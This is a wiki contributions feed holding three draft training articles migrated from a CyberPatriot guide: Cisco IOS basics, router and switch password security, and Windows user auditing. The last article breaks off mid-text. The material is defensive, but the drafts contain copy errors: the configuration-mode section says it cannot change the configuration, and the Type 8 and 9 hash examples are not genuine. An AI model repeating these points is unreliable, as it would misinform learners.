<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
	<id>https://wikicyber.org/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=MigrationBot</id>
	<title>WikiCyber - User contributions [en]</title>
	<link rel="self" type="application/atom+xml" href="https://wikicyber.org/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=MigrationBot"/>
	<link rel="alternate" type="text/html" href="https://wikicyber.org/index.php/Special:Contributions/MigrationBot"/>
	<updated>2026-09-24T04:41:49Z</updated>
	<subtitle>User contributions</subtitle>
	<generator>MediaWiki 1.46.0</generator>
	<entry>
		<id>https://wikicyber.org/index.php?title=Draft:An_Introduction_to_Cisco_IOS&amp;diff=194</id>
		<title>Draft:An Introduction to Cisco IOS</title>
		<link rel="alternate" type="text/html" href="https://wikicyber.org/index.php?title=Draft:An_Introduction_to_Cisco_IOS&amp;diff=194"/>
		<updated>2026-09-22T05:43:02Z</updated>

		<summary type="html">&lt;p&gt;MigrationBot: Backfill (v3.0 review queue): added to the review queue&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Submit}}&lt;br /&gt;
&amp;lt;!-- Migrated from https://cypat.guide/docs/cisco/Cisco Packet Tracer/intro_ios (source: docs/cisco/Cisco Packet Tracer/intro_ios.md) --&amp;gt;&lt;br /&gt;
&amp;lt;!-- REVIEW: source used JSX (className attribute (JSX), JSX style object, iframe embed); the interactive iframe widget was replaced by an external link; layout-only divs were dropped. Compare with the original. --&amp;gt;&lt;br /&gt;
Author(s): a_person&lt;br /&gt;
&lt;br /&gt;
Last Updated: 08-09-2025&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;mw-collapsible mw-collapsed wikitable&amp;quot; style=&amp;quot;width:100%&amp;quot;&lt;br /&gt;
! Recommended Prerequisites (click to expand)&lt;br /&gt;
|-&lt;br /&gt;
|&lt;br /&gt;
&lt;br /&gt;
None&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== What is an OS? ==&lt;br /&gt;
&lt;br /&gt;
An operating system (OS) is system software that manages computer hardware and software resources. Cisco has its own operating system, Cisco IOS, and it is used on their devices, which include routers, switches, and firewalls.&lt;br /&gt;
&lt;br /&gt;
== Access methods ==&lt;br /&gt;
&lt;br /&gt;
=== Console ===&lt;br /&gt;
&lt;br /&gt;
A physical management port that offers out-of-band access to a Cisco device via a dedicated management channel used solely for maintenance. The main benefit is that the device can be accessed even if no network settings are configured, such as during initial setup. To connect, you&#039;ll need a computer with terminal emulation software and a special console cable.&lt;br /&gt;
&lt;br /&gt;
=== Secure Shell (SSH) ===&lt;br /&gt;
&lt;br /&gt;
An in-band, secure method to remotely access the device’s CLI over a network through a virtual interface. SSH requires the device to have active networking services and a configured interface with an IP address. Most Cisco IOS versions include both an SSH server and client for establishing secure sessions. SSH is not only used in networking devices, and can be used to access servers.&lt;br /&gt;
&lt;br /&gt;
=== Telnet ===&lt;br /&gt;
&lt;br /&gt;
An insecure, in-band way to remotely access the CLI over a network via a virtual interface. Unlike SSH, Telnet does not encrypt data, so passwords and commands are sent in plaintext, making it suitable only for enviornments like labs. SSH is strongly recommended instead.&lt;br /&gt;
&lt;br /&gt;
== Terminal Smulation Software ==&lt;br /&gt;
&lt;br /&gt;
These provide a more graphical way to interact with devices. The most common emulation software is [https://www.chiark.greenend.org.uk/~sgtatham/putty/latest.html PuTTY].&lt;br /&gt;
&lt;br /&gt;
== Cisco Command Modes ==&lt;br /&gt;
&lt;br /&gt;
There are 3 main Command Modes:&lt;br /&gt;
&lt;br /&gt;
=== User EXEC Mode ===&lt;br /&gt;
&lt;br /&gt;
* Indicated by the &amp;lt;code&amp;gt;&amp;amp;gt;&amp;lt;/code&amp;gt; symbol. Example:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;Router&amp;gt;&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
* Limited in what you can do&lt;br /&gt;
* The user can view basic information about the device, but can&#039;t make changes to the configuration.&lt;br /&gt;
&lt;br /&gt;
=== Privilaged EXEC Mode ===&lt;br /&gt;
&lt;br /&gt;
* You can enter this mode through using the &#039;&#039;&#039;enable&#039;&#039;&#039; command, and exit through &#039;&#039;&#039;disable&#039;&#039;&#039; or &#039;&#039;&#039;exit&#039;&#039;&#039;.&lt;br /&gt;
* Indicatedby the &amp;lt;code&amp;gt;#&amp;lt;/code&amp;gt; symbol. Example:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;Router#&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
* Provides complete access to view the device&#039;s configuration, restart the device, etc.&lt;br /&gt;
* Cannot change the configuration, but can change the time on the device, save the configuration file, etc.&lt;br /&gt;
&lt;br /&gt;
=== Global Configuration Mode ===&lt;br /&gt;
&lt;br /&gt;
* You can enter this mode through using the &#039;&#039;&#039;configure terminal&#039;&#039;&#039; command, and exit through &#039;&#039;&#039;disable&#039;&#039;&#039; or &#039;&#039;&#039;exit&#039;&#039;&#039;.&lt;br /&gt;
* Indicated by &amp;lt;code&amp;gt;(config)#&amp;lt;/code&amp;gt; . Example:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;Router(config)#&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
* Provides complete access to view the device&#039;s configuration, restart the device, etc.&lt;br /&gt;
* Cannot change the configuration, but can change the time on the device, save the configuration file, etc.&lt;br /&gt;
* Provides access to change the device&#039;s running configuration, including interface settings, routing protocols, and security configurations.&lt;br /&gt;
&lt;br /&gt;
== Help Command ==&lt;br /&gt;
&lt;br /&gt;
* Single question mark (?) shows available commands or options at the current level. Example:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;Router&amp;gt; ?&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
This will show all the avaliable commands that you can use in the currrent state.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;Router&amp;gt; show ?&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
This will show you what parameters are accepted for the show command.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;Router&amp;gt; s?&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
This will show you all the possible completions of the command.&lt;br /&gt;
&lt;br /&gt;
== Do command ==&lt;br /&gt;
&lt;br /&gt;
The do command allows you to execute commands in privileged EXEC mode commands without leaving configuration modes.&lt;br /&gt;
&lt;br /&gt;
Example: Checking the running configuration while in interface configuration mode:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;Router(config-if)# do show running-config&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
== Shortening Commands ==&lt;br /&gt;
&lt;br /&gt;
Many Cisco IOS commands can be abbreviated as long as the abbreviation is unambiguous.&lt;br /&gt;
&lt;br /&gt;
Example:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;Router&amp;gt; show running-config&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
can be shortened to:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;Router&amp;gt; sh run&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Use ? to confirm what abbreviations are valid.&lt;br /&gt;
&lt;br /&gt;
== Hostname command ==&lt;br /&gt;
&lt;br /&gt;
You can name the router/switch by using &amp;lt;code&amp;gt;hostname&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Example:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;Router(config)#hostname CiscoRouter1&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
== Updating the Running configuration ==&lt;br /&gt;
&lt;br /&gt;
You can do this through &amp;lt;code&amp;gt;copy running-config startup-config&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;write memory&amp;lt;/code&amp;gt;. These can be abbreviated to &amp;lt;code&amp;gt;copy run start&amp;lt;/code&amp;gt;(now you know why people say it) and &amp;lt;code&amp;gt;wr&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Practice ==&lt;br /&gt;
&lt;br /&gt;
Do the following steps in order:&lt;br /&gt;
&lt;br /&gt;
# Enter privilaged EXEC mode&lt;br /&gt;
# Enter global configuration mode&lt;br /&gt;
# Exit global configuration mode&lt;br /&gt;
# Exit privilaged EXEC Mode&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;You must enter the FULL commands.&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Interactive practice:&#039;&#039;&#039; [https://orionband.github.io/windowstst/cisco.html?q=enable:configure%20terminal:exit:exit,enable:configure%20terminal:exit:disable,enable:configure%20terminal:exit:disable Open the practice widget (external site)]&lt;br /&gt;
&lt;br /&gt;
== Supplementary Resources and Further Reading ==&lt;br /&gt;
&lt;br /&gt;
* https://www.cisco.com/E-Learning/bulk/public/tac/cim/cib/using_cisco_ios_software/02_cisco_ios_hierarchy.htm&lt;br /&gt;
* https://www.cisco.com/c/en/us/td/docs/switches/wan/mgx/mgx_8850/software/mgx_r3/rpm/rpm_r1-1/configuration/guide/appc.pdf&lt;br /&gt;
* https://www.youtube.com/watch?v=IYbtai7Nu2g&amp;amp;list=PLxbwE86jKRgMpuZuLBivzlM8s2Dk5lXBQ&amp;amp;index=8&lt;br /&gt;
&lt;br /&gt;
[[Category:Cisco Packet Tracer|039]]&lt;br /&gt;
[[Category:Migrated from cypat.guide]]&lt;br /&gt;
[[Category:Pending review]]&lt;/div&gt;</summary>
		<author><name>MigrationBot</name></author>
	</entry>
	<entry>
		<id>https://wikicyber.org/index.php?title=Draft:Basic_Router_and_Switch_security&amp;diff=193</id>
		<title>Draft:Basic Router and Switch security</title>
		<link rel="alternate" type="text/html" href="https://wikicyber.org/index.php?title=Draft:Basic_Router_and_Switch_security&amp;diff=193"/>
		<updated>2026-09-22T05:43:00Z</updated>

		<summary type="html">&lt;p&gt;MigrationBot: Backfill (v3.0 review queue): added to the review queue&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Submit}}&lt;br /&gt;
&amp;lt;!-- Migrated from https://cypat.guide/docs/cisco/Cisco Packet Tracer/basic_security (source: docs/cisco/Cisco Packet Tracer/basic_security.md) --&amp;gt;&lt;br /&gt;
&amp;lt;!-- REVIEW: source used JSX (className attribute (JSX), JSX style object, iframe embed); the interactive iframe widget was replaced by an external link; layout-only divs were dropped. Compare with the original. --&amp;gt;&lt;br /&gt;
Author(s): a_person&lt;br /&gt;
&lt;br /&gt;
Last Updated: 08-09-2025&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;mw-collapsible mw-collapsed wikitable&amp;quot; style=&amp;quot;width:100%&amp;quot;&lt;br /&gt;
! Recommended Prerequisites (click to expand)&lt;br /&gt;
|-&lt;br /&gt;
|&lt;br /&gt;
&lt;br /&gt;
Introduction to Cisco IOS&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Enable Password ==&lt;br /&gt;
&lt;br /&gt;
The &amp;lt;code&amp;gt;enable password&amp;lt;/code&amp;gt; command sets a password required to enter privileged EXEC mode on Cisco devices.&lt;br /&gt;
&lt;br /&gt;
=== Syntax ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;Router(config)# enable password your_password&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
=== Important notes ===&lt;br /&gt;
&lt;br /&gt;
* Stored in plain text in the configuration file&lt;br /&gt;
* Visible when viewing the running configuration&lt;br /&gt;
* Provides basic protection but not recommended for production environments&lt;br /&gt;
* Can be seen by anyone with access to the configuration&lt;br /&gt;
&lt;br /&gt;
== Enable secret ==&lt;br /&gt;
&lt;br /&gt;
The &amp;lt;code&amp;gt;enable secret&amp;lt;/code&amp;gt; command provides a more secure alternative to the &amp;lt;code&amp;gt;enable password&amp;lt;/code&amp;gt; command as it uses a hashing algorithm. When there are both &amp;lt;code&amp;gt;enable password&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;enable secret&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;enable secret&amp;lt;/code&amp;gt; takes precedence because Cisco IOS always prefers the more secure option.&lt;br /&gt;
&lt;br /&gt;
=== Syntax ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;Router(config)# enable secret your_password&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
== Protecting Console ==&lt;br /&gt;
&lt;br /&gt;
This configuration secures console access to the device by applying a password requirement. It specifies the console line (&amp;lt;code&amp;gt;line console 0&amp;lt;/code&amp;gt;), sets a password (&amp;lt;code&amp;gt;password your_console_password&amp;lt;/code&amp;gt;), and enables password checking on login (&amp;lt;code&amp;gt;login&amp;lt;/code&amp;gt;).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;Router(config)# line console 0&lt;br /&gt;
Router(config-line)# password your_console_password&lt;br /&gt;
Router(config-line)# login&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
== Password Encryption Service ==&lt;br /&gt;
&lt;br /&gt;
The &amp;lt;code&amp;gt;service password-encryption&amp;lt;/code&amp;gt; command enables automatic encryption of passwords in the configuration file using Type 7 encryption. Later in the article, we will be talking about the differences between the various encryption types. &amp;lt;code&amp;gt;service password-encryption&amp;lt;/code&amp;gt; is not strong security and is mainly for obscuring passwords from casual viewing.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;What it affects:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Line passwords (console, vty, aux)&lt;br /&gt;
* Enable password (but not enable secret)&lt;br /&gt;
* Username passwords (but not username secrets)&lt;br /&gt;
* SNMP community strings&lt;br /&gt;
* Other plaintext passwords in configuration&lt;br /&gt;
&lt;br /&gt;
=== Syntax ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;Router(config)# service password-encryption&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
== Cisco Password Encryption Levels ==&lt;br /&gt;
&lt;br /&gt;
Cisco devices use different encryption levels to secure passwords stored in configuration files:&lt;br /&gt;
&lt;br /&gt;
=== Type 0 - Plain Text ===&lt;br /&gt;
&lt;br /&gt;
* No encryption applied&lt;br /&gt;
* Password visible in clear text&lt;br /&gt;
* Default behavior without encryption services&lt;br /&gt;
* &#039;&#039;&#039;Example:&#039;&#039;&#039; &amp;lt;code&amp;gt;password 0 MyPassword123&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Type 7 - Cisco Proprietary Encryption ===&lt;br /&gt;
&lt;br /&gt;
* Basic obfuscation using Vigenère cipher&lt;br /&gt;
* Reversible encryption (easily decoded)&lt;br /&gt;
* Enabled with &amp;lt;code&amp;gt;service password-encryption&amp;lt;/code&amp;gt;&lt;br /&gt;
* &#039;&#039;&#039;Example:&#039;&#039;&#039; &amp;lt;code&amp;gt;password 7 094F471A1A0A464058&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Type 5 - MD5 Hash ===&lt;br /&gt;
&lt;br /&gt;
* Uses MD5 hashing algorithm&lt;br /&gt;
* One-way encryption&lt;br /&gt;
* As you may or may not already know, MD5 is vulnerable to collision attacks, making it not as secure as other hashing algorithms.&lt;br /&gt;
* Used by &amp;lt;code&amp;gt;enable secret&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;username secret&amp;lt;/code&amp;gt; commands&lt;br /&gt;
* &#039;&#039;&#039;Example:&#039;&#039;&#039; &amp;lt;code&amp;gt;enable secret 5 $1$mERr$hx5rVt7rPNoS4wqbXKX7m0&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Type 8 - PBKDF2 with SHA-256 ===&lt;br /&gt;
&lt;br /&gt;
* Password-Based Key Derivation Function 2&lt;br /&gt;
* Uses SHA-256 hashing with salt&lt;br /&gt;
* &#039;&#039;&#039;Example:&#039;&#039;&#039; &amp;lt;code&amp;gt;username admin secret 8 $8$mERr$hx5rVt7rPNoS4wqbXKX7m0$&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Type 9 - Scrypt ===&lt;br /&gt;
&lt;br /&gt;
* Latest and most secure encryption type&lt;br /&gt;
* Uses scrypt key derivation function&lt;br /&gt;
* Resistant to hardware attacks&lt;br /&gt;
* &#039;&#039;&#039;Example:&#039;&#039;&#039; &amp;lt;code&amp;gt;username admin secret 9 $9$mERr$hx5rVt7rPNoS4wqbXKX7m0$&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Practice ==&lt;br /&gt;
&lt;br /&gt;
Do the following steps in order:&lt;br /&gt;
&lt;br /&gt;
# Enable password encryption&lt;br /&gt;
# Set the secret to &amp;lt;code&amp;gt;C1sc0R0cks&amp;lt;/code&amp;gt;&lt;br /&gt;
# Set the console password to &amp;lt;code&amp;gt;Cypat123!&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;You must enter the FULL commands.&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Interactive practice:&#039;&#039;&#039; [https://orionband.github.io/windowstst/cisco.html?i=config&amp;amp;q=service%20password-encryption:enable%20secret%20C1sc0R0cks:line%20console%200:password%20Cypat123!:login Open the practice widget (external site)]&lt;br /&gt;
&lt;br /&gt;
== Labs ==&lt;br /&gt;
&lt;br /&gt;
* [https://drive.google.com/file/d/132NG6fJ03XcguOsChH-JXqafaOxTZMXd/view?usp=sharing CCNA Lab 003 PKT download (JIT)]&lt;br /&gt;
* [https://www.youtube.com/watch?v=Gj-8agyq4yQ&amp;amp;list=PLxbwE86jKRgMQ4HTuaJ7yQgA2BoNwY9ct&amp;amp;index=4 CCNA Lab 003 walkthrough (JIT)]&lt;br /&gt;
* [https://drive.google.com/file/d/1SukSVB9OKMG49aiqwfOdqc1lU6jVigrW/view?usp=sharing Day 4 Basic Security Lab PKT download(JIT)]&lt;br /&gt;
* [https://drive.google.com/file/d/1SukSVB9OKMG49aiqwfOdqc1lU6jVigrW/view?usp=sharing Day 4 Basic Security Lab PKT walkthrough(JIT)]&lt;br /&gt;
&lt;br /&gt;
== Supplementary Resources and Further Reading ==&lt;br /&gt;
&lt;br /&gt;
* https://www.youtube.com/watch?v=IYbtai7Nu2g&amp;amp;list=PLxbwE86jKRgMpuZuLBivzlM8s2Dk5lXBQ&amp;amp;index=8&amp;amp;pp=iAQB&lt;br /&gt;
* https://www.cisco.com/c/en/us/td/docs/switches/lan/catalyst2960cx_3650cx/software/release/15-2_7_e/configuration_guide/b_1527e_consolidated_3560cx_2960cx_cg/m_sec_passpr_cg.pdf&lt;br /&gt;
&lt;br /&gt;
[[Category:Cisco Packet Tracer|040]]&lt;br /&gt;
[[Category:Migrated from cypat.guide]]&lt;br /&gt;
[[Category:Pending review]]&lt;/div&gt;</summary>
		<author><name>MigrationBot</name></author>
	</entry>
	<entry>
		<id>https://wikicyber.org/index.php?title=Draft:Introduction_to_User_Auditing&amp;diff=192</id>
		<title>Draft:Introduction to User Auditing</title>
		<link rel="alternate" type="text/html" href="https://wikicyber.org/index.php?title=Draft:Introduction_to_User_Auditing&amp;diff=192"/>
		<updated>2026-09-22T05:42:58Z</updated>

		<summary type="html">&lt;p&gt;MigrationBot: Backfill (v3.0 review queue): added to the review queue&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Submit}}&lt;br /&gt;
&amp;lt;!-- Migrated from https://cypat.guide/docs/windows/user_auditing/intro_user_auditing (source: docs/windows/user_auditing/intro_user_auditing.md) --&amp;gt;&lt;br /&gt;
-----&lt;br /&gt;
&lt;br /&gt;
Author(s): a_person&lt;br /&gt;
&lt;br /&gt;
Last Updated: 07-03-2025&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;mw-collapsible mw-collapsed wikitable&amp;quot; style=&amp;quot;width:100%&amp;quot;&lt;br /&gt;
! Recommended Prerequisites (click to expand)&lt;br /&gt;
|-&lt;br /&gt;
|&lt;br /&gt;
&lt;br /&gt;
* None&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Concepts ==&lt;br /&gt;
&lt;br /&gt;
* Users are the accounts that represent individuals or entities who interact with the operating system. Each user account has its own profile, which includes personalized settings, files, and access permissions. Each User is assigned a unique SID&lt;br /&gt;
* Groups are a collection of user accounts that can be managed as a single unit. Instead of configuring access for each user individually, administrators can assign users to groups, and then assign permissions or roles to the group.&lt;br /&gt;
* There are two main Built in accounts. These are the Administrator account and the Guest account. Both should be disabled.&lt;br /&gt;
* There are also Built-in System accounts, which are accounts used by Windows. Some of the main ones are included below:&lt;br /&gt;
** SYSTEM&lt;br /&gt;
** LOCAL SERVICE&lt;br /&gt;
** NETWORK SERVICE&lt;br /&gt;
** TrustedInstaller&lt;br /&gt;
** WDAGUtilityAccount&lt;br /&gt;
&lt;br /&gt;
== Tools ==&lt;br /&gt;
&lt;br /&gt;
* User auditing can be done in the following applications. Each has its benefits and drawbacks.&lt;br /&gt;
** lusrmgr.msc&lt;br /&gt;
** Control Pannel&lt;br /&gt;
** Settings&lt;br /&gt;
** Command Prompt/Powershell&lt;br /&gt;
&lt;br /&gt;
== Practice ==&lt;br /&gt;
&lt;br /&gt;
Most basic images contain the content covered in this article. Other images will go beyond this, especially ones with Active Directory:&amp;lt;br /&amp;gt;&lt;br /&gt;
https://images.cypat.guide#gid=0&lt;br /&gt;
&lt;br /&gt;
== What is User Auditing? ==&lt;br /&gt;
&lt;br /&gt;
User auditing is configuring of Authorized Users, Groups, and other settings unique to users. This mainly includes:&lt;br /&gt;
&lt;br /&gt;
# Disabling the Administrator and Guest accounts&lt;br /&gt;
# Removing Unauthorized users&lt;br /&gt;
# Removing administrator privileges from users&lt;br /&gt;
# Creating Users/Groups if requested by the ReadMe&lt;br /&gt;
# Changing insecure passwords&lt;br /&gt;
# Creating Passwords&lt;br /&gt;
&lt;br /&gt;
== Why do we need to do this? ==&lt;br /&gt;
&lt;br /&gt;
This is important because of the principle of least privilege, which is only giving a user/group only the privilages that they need, nothing more. For example, if students had administrator privileges, they could potentially bypass filtering software and hack the schools network. User Auditing also contains creating/making strong passwords, which stops attackers from easily gaining access.&lt;br /&gt;
&lt;br /&gt;
== Using each tool ==&lt;br /&gt;
&lt;br /&gt;
=== Disabling the Administrator and Guest accounts ===&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;lusrmgr.msc&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# Press &amp;lt;code&amp;gt;Win + R&amp;lt;/code&amp;gt;, type &amp;lt;code&amp;gt;lusrmgr.msc&amp;lt;/code&amp;gt;, and press Enter.&lt;br /&gt;
# Click on &#039;&#039;&#039;Users&#039;&#039;&#039;.&lt;br /&gt;
# Right-click &amp;lt;code&amp;gt;Administrator&amp;lt;/code&amp;gt; &amp;amp;gt; &#039;&#039;&#039;Properties&#039;&#039;&#039;.&lt;br /&gt;
# Check &#039;&#039;&#039;Account is disabled&#039;&#039;&#039;, then click &#039;&#039;&#039;OK&#039;&#039;&#039;.&lt;br /&gt;
# Repeat for the &amp;lt;code&amp;gt;Guest&amp;lt;/code&amp;gt; account.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Control Panel&#039;&#039;&#039;&amp;lt;br /&amp;gt;&lt;br /&gt;
Control Panel does not offer a reliable or consistent way to disable these accounts. &#039;&#039;&#039;Settings&#039;&#039;&#039;&amp;lt;br /&amp;gt;&lt;br /&gt;
You can&#039;t&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Command Prompt / PowerShell&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;net user Administrator /active:no&lt;br /&gt;
net user Guest /active:no&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Note that this can also be done through a GPO.&lt;br /&gt;
&lt;br /&gt;
-----&lt;br /&gt;
&lt;br /&gt;
=== Removing Unauthorized Users ===&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;lusrmgr.msc&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# Open &#039;&#039;&#039;Users&#039;&#039;&#039;.&lt;br /&gt;
# Right-click any unauthorized user &amp;amp;gt; &#039;&#039;&#039;Delete&#039;&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Control Panel&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# Open &#039;&#039;&#039;User Accounts&#039;&#039;&#039; &amp;amp;gt; &#039;&#039;&#039;User Accounts&#039;&#039;&#039; &amp;amp;gt; &#039;&#039;&#039;Manage Another Account&#039;&#039;&#039;.&lt;br /&gt;
# Click on the User.&lt;br /&gt;
# Click &#039;&#039;&#039;Delete User&#039;&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Settings&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# Go to &#039;&#039;&#039;Settings&#039;&#039;&#039; &amp;amp;gt; &#039;&#039;&#039;Accounts&#039;&#039;&#039; &amp;amp;gt; &#039;&#039;&#039;Other Users&#039;&#039;&#039;.&lt;br /&gt;
# Click on the user &amp;amp;gt; &#039;&#039;&#039;Remove&#039;&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Command Prompt / PowerShell&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;net user username /delete&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
-----&lt;br /&gt;
&lt;br /&gt;
=== Removing Administrator Privileges from Users ===&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;lusrmgr.msc&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# Go to &#039;&#039;&#039;Groups&#039;&#039;&#039; &amp;amp;gt; Double-click &#039;&#039;&#039;Administrators&#039;&#039;&#039;.&lt;br /&gt;
# Select user &amp;amp;gt; &#039;&#039;&#039;Remove&#039;&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Control Panel&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# Open &#039;&#039;&#039;User Accounts&#039;&#039;&#039; &amp;amp;gt; &#039;&#039;&#039;User Accounts&#039;&#039;&#039; &amp;amp;gt; &#039;&#039;&#039;Manage Another Account&#039;&#039;&#039;.&lt;br /&gt;
# Click on the User.&lt;br /&gt;
# Click &#039;&#039;&#039;Change Account Type&#039;&#039;&#039;. It will automatically select standard if it is an Admin&lt;br /&gt;
# Click the &#039;&#039;&#039;Change Account Type&#039;&#039;&#039; to finalize.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Settings&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# Go to &#039;&#039;&#039;Settings&#039;&#039;&#039; &amp;amp;gt; &#039;&#039;&#039;Accounts&#039;&#039;&#039; &amp;amp;gt; &#039;&#039;&#039;Other Users&#039;&#039;&#039;.&lt;br /&gt;
# Click the user &amp;amp;gt; &#039;&#039;&#039;Change account type&#039;&#039;&#039; &amp;amp;gt; &#039;&#039;&#039;Standard User&#039;&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Command Prompt / PowerShell&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;net localgroup Administrators username /delete&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
-----&lt;br /&gt;
&lt;br /&gt;
=== Creating Users/Groups if Requested by the ReadMe ===&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;lusrmgr.msc&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# Right-click &#039;&#039;&#039;Users&#039;&#039;&#039; &amp;amp;gt; &#039;&#039;&#039;New User&#039;&#039;&#039;.&lt;br /&gt;
# Fill out details and click &#039;&#039;&#039;Create&#039;&#039;&#039;.&lt;br /&gt;
# For groups: Right-click &#039;&#039;&#039;Groups&#039;&#039;&#039; &amp;amp;gt; &#039;&#039;&#039;New Group&#039;&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Control Panel&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# Open &#039;&#039;&#039;User Accounts&#039;&#039;&#039; &amp;amp;gt; &#039;&#039;&#039;User Accounts&#039;&#039;&#039; &amp;amp;gt; &#039;&#039;&#039;Manage Another Account&#039;&#039;&#039;.&lt;br /&gt;
# Click &#039;&#039;&#039;Add new user in settings&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Don&#039;t use control pannel to create a group&lt;br /&gt;
&lt;br /&gt;
